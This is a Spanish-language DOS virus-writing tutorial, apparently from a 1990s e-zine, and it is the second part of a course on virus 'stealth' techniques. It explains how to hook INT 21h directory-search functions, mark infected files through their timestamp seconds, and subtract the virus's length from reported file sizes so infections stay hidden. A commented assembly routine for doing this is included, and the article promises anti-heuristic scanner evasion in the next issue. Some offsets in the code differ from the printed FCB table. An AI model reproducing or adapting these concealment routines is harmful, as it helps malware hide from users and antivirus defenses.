home *** CD-ROM | disk | FTP | other *** search
- ε TECNICAS VIRICASπ
- ε ----------------π
-
- Y como lo prometido es deuda, aquí tenemos la segunda entrega de nues-
- tro curso de técnicas víricas, en el cual vamos a aprender... (redoble)...
- CHAAAAAAN! ¡Tecnicas Ωstealthπ!
-
- En efecto. Un virus que se precie las lleva, además porque no es es-
- pecialmente difícil ni largo, y más después de verlo en el virus BURGLAR (que
- encontrarás en ΩPhyMosys Magazine 2π).
-
- Bueno, y vamos a empezar (siempre me enrollo en el principio, no tengo
- remedio).
-
- Ante todo, sabrás lo que es la interrupción 21h (y si no, no sé qué
- estás mirando en esta sección) y sus funciones. Pues bien, las funciones que
- nos interesan son las funciones δ11hπ, δ12hπ, δ4Ehπ y δ4Fhπ. El comando DIR del DOS
- utiliza las funciones δ11hπ y δ12hπ, y los otros programas en general (por mayor
- sencillez, manejabilidad y progreso) utilizan las otras. Estas funciones son:
-
- Ω11h -> Búsqueda de la primera entrada del directorio (por FCBs)π
- Ω12h -> Búsqueda de la siguiente entrada del directorio (por FCBs)π
- Ω4Eh -> Búsqueda de la primera entrada del directorio (por Handles)π
- Ω4Fh -> Búsqueda de la siguiente entrada del directorio (por Handles)π
-
- Las más importantes para un stealth mínimo son las dos primeras.
-
- Para una velocidad buena en el efecto del DIR, hay que hacer un peque-
- ño truco en la fecha (no es rentable abrir el archivo cada vez para comprobar
- si está infectado, más que nada por la velocidad), y ésta es: o bien poner los
- segundos en el archivo a 60 o 62 en la hora, o bien sumarle 100 años al año
- en la fecha. El problema que tiene esto es que muchos anti-virus heurísticos
- comprueban la fecha y entonces esto es sospechoso. Se cogen estos valores por-
- que, al hacer DIR, no se ven los segundos y sólo se ven las dos últimas cifras
- del año del archivo. Pero güeno, podremos vivir con esto.
-
- Y como decía, habrá que poner una de estas dos marcas. Yo personalmen-
- te prefiero la de los segundos, que es menos liosa y más rápida. Lo primero
- que tendremos que hacer es comprobar si se está llamando a las funciones 11h
- o 12h, desde el virus. Entonces se llama a la interrupción para que nos de-
- vuelva los valores del directorio. Nos devolverá en el DTA (cuya dirección ha-
- bremos obtenido previamente mediante la función δ2Fhπ del DOS) una estructura
- δFCB (File Control Block)π así:
-
- En ES:BX tenemos la dirección del DTA.
-
- ΩES:BX+00h --> Número de dispositivo (la unidad)π
- ΩES:BX+01h --> Nombre del archivo (rellenado con espacios)π
- ΩES:BX+09h --> Estensión del archivo (también rellenado con espacios)π
- ΩES:BX+0Ch --> Número de bloque actual (sin interés para nosotros)π
- ΩES:BX+0Eh --> Tamaño del bloque (idem)π
- ΩES:BX+10h --> Tamaño de archivo en double word (esto es!)π
- ΩES:BX+14h --> Fecha de la última modificación (también esto)π
- ΩES:BX+16h --> Hora de la última modificación (y esto también)π
- Ω...π
-
- A esto le siguen más cosas que no nos interesan para lo que pensamos
- hacer.
-
- Y un δFCB ampliadoπ (que es usado en versiones posteriores de DOS) es práctica-
- mente lo mismo, nada mas que hay 7 bytes más de datos al principio, por lo que
- las direcciones que nos interesan se obtendrán sumándole 7 a la dirección de
- DTA obtenida. Se sabe que es ampliado por el primer byte, o el byte del núme-
- ro de dispositivo, que en vez de tener el número de dispositivo tiene el valor
- FFh.
-
- Pues esto es. La fecha y la hora se encuentran en formato empaquetado
- tal y como os lo enseño ahí abajo. Cada x es un bit:
-
- φ Fecha: x x x x x x x x x x x x x x x x ---> wordπ
- φ | | | | | | π
- φ |-----------| |-----| |-------| π
- φ año (0=1980) mes día π
- π
- π
- φ Hora: x x x x x x x x x x x x x x x x ---> wordπ
- φ | | | | | | π
- φ |-------| |---------| |-------| π
- φ hora minuto segundo π
- φ (en pasos π
- φ de 2 seg.) π
-
- Recordad que los bits se empiezan a contar Ωdesde el 0 y hacia la iz-π
- Ωquierdaπ (que más de uno se equivocará en esto).
-
- Más o menos ya habréis visto lo que hay que hacer, ¿no? ¿NO? Pues ale,
- voy a estirarme y os haré un código ejemplo. El que sigue.
-
-
- ΓFuncion11o12: NOP Σ; Aquí se salta después de comprobar que es π
- Γ Σ; una función 11h o 12h (el NOP está para po-π
- Γ Σ; ner el comentario este, ¿eh?) π
- Γ INT 21h Σ; Ejecutamos la interrupción. Ahora en el DTAπ
- Γ Σ; tenemos el resultado. π
- Γ CMP AL, 0FFh Σ; AL es FFh si hay error o se ha acabado el π
- Γ Σ; directorio. π
- Γ JE Acaba Σ; Acabamos si hay error π
- Γ PUSH AX Σ; Guardamos los registros afectados π
- Γ PUSH BX π
- Γ PUSH ES π
- Γ MOV AH, 2Fh Σ; Obtenemos en ES:BX la dirección del DTA π
- Γ INT 21h π
- Γ CMP BYTE PTR ES:[BX], 0FFh Σ; Comprobamos si es un FCB π
- Γ Σ; ampliado. π
- Γ JNE FCBNormal Σ; Si no lo es, evitamos sumarle 7, y si lo π
- Γ ADD BX, 0007 Σ; es, se lo sumamos. π
- ΓFCBNormal: MOV AL, ES:[BX+17h] Σ; Obtenemos la parte donde están los π
- Γ Σ; segundos (prefiero los segundos :) π
- Γ AND AL, 1Eh Σ; Obtenemos sólo los segundos en AL (60 o π
- Γ Σ; 62. Si sólo hubieramos querido mirar 62 π
- Γ Σ; segundos, hubiéramos hecho AND AL,1Fh). π
- Γ CMP AL, 1Eh Σ; ¿Es 60 segundos el resultado? π
- Γ JNZ NoestaInfectao Σ; Si no lo es, es que el archivo no π
- Γ Σ; está infectado. π
- Γ SUB WORD PTR ES:[BX+1Dh], LongVirus Σ; Esta claro, ¿no? π
- Γ SBB WORD PTR ES:[BX+1Fh], 00 Σ; No olvidemos que el π
- Γ Σ; tamaño está en dwordπ
- Γ Σ; y hay que contar conπ
- Γ Σ; el rebosamiento π
- Γ AND BYTE PTR ES:[BX+17h], 0EFh Σ; Eliminamos el bit alto deπ
- Γ Σ; los segundos para mostrarπ
- Γ Σ; una hora más razonable π
- ΓNoestaInfectao: POP ES Σ; Recuperamos registros π
- Γ POP BX π
- Γ POP AX π
- ΓAcaba: IRET π
-
-
- Y ya está! Pues no es tan complicado, oyes. Ahora vamos con las funcio-
- nes δ4Ehπ y δ4Fhπ.
-
- Es prácticamente lo mismo, nada más que los datos en el DTA los devuel-
- ve de la manera siguiente:
-
- φES:BX+00h --> 20 bytes de datos reservadosπ
- φES:BX+14h --> Atributo del archivo (si es oculto, de sistema, etc.) π
- φES:BX+15h --> Hora de la última modificación (en formato empaquetado) π
- φES:BX+17h --> Fecha de la última modificación (también en este formato) π
- φES:BX+19h --> Tamaño del archivo en double word π
- φES:BX+1Dh --> Nombre del archivo y extensión como cadena ASCII π
-
- Y ahora se hace lo mismo. Es exactamente igual, nada más que hay que
- tener en cuenta que la función devuelve Carry Flag cuando hay error, en vez
- de poner el valor FFh en AL tal y como hacían las funciones δ11hπ y δ12hπ. Enton-
- ces, al llamar a la función para que devuelva datos, habrá que guardar las
- banderas mediante un δPUSHFπ, hacer δPOPFπ antes de retornar, y retornar mediante
- un δRETF 0002π en vez de con δIRETπ.
-
- Bueno, y nada más por este número (que de todas formas ya es bastante,
- creo yo). Para el siguiente veremos técnicas anti-heurísticas, que hacen que
- un virus tenga más oportunidades de pasar un escáner heurístico.
-
-
- ∞ Líyak el Oscuroπ
-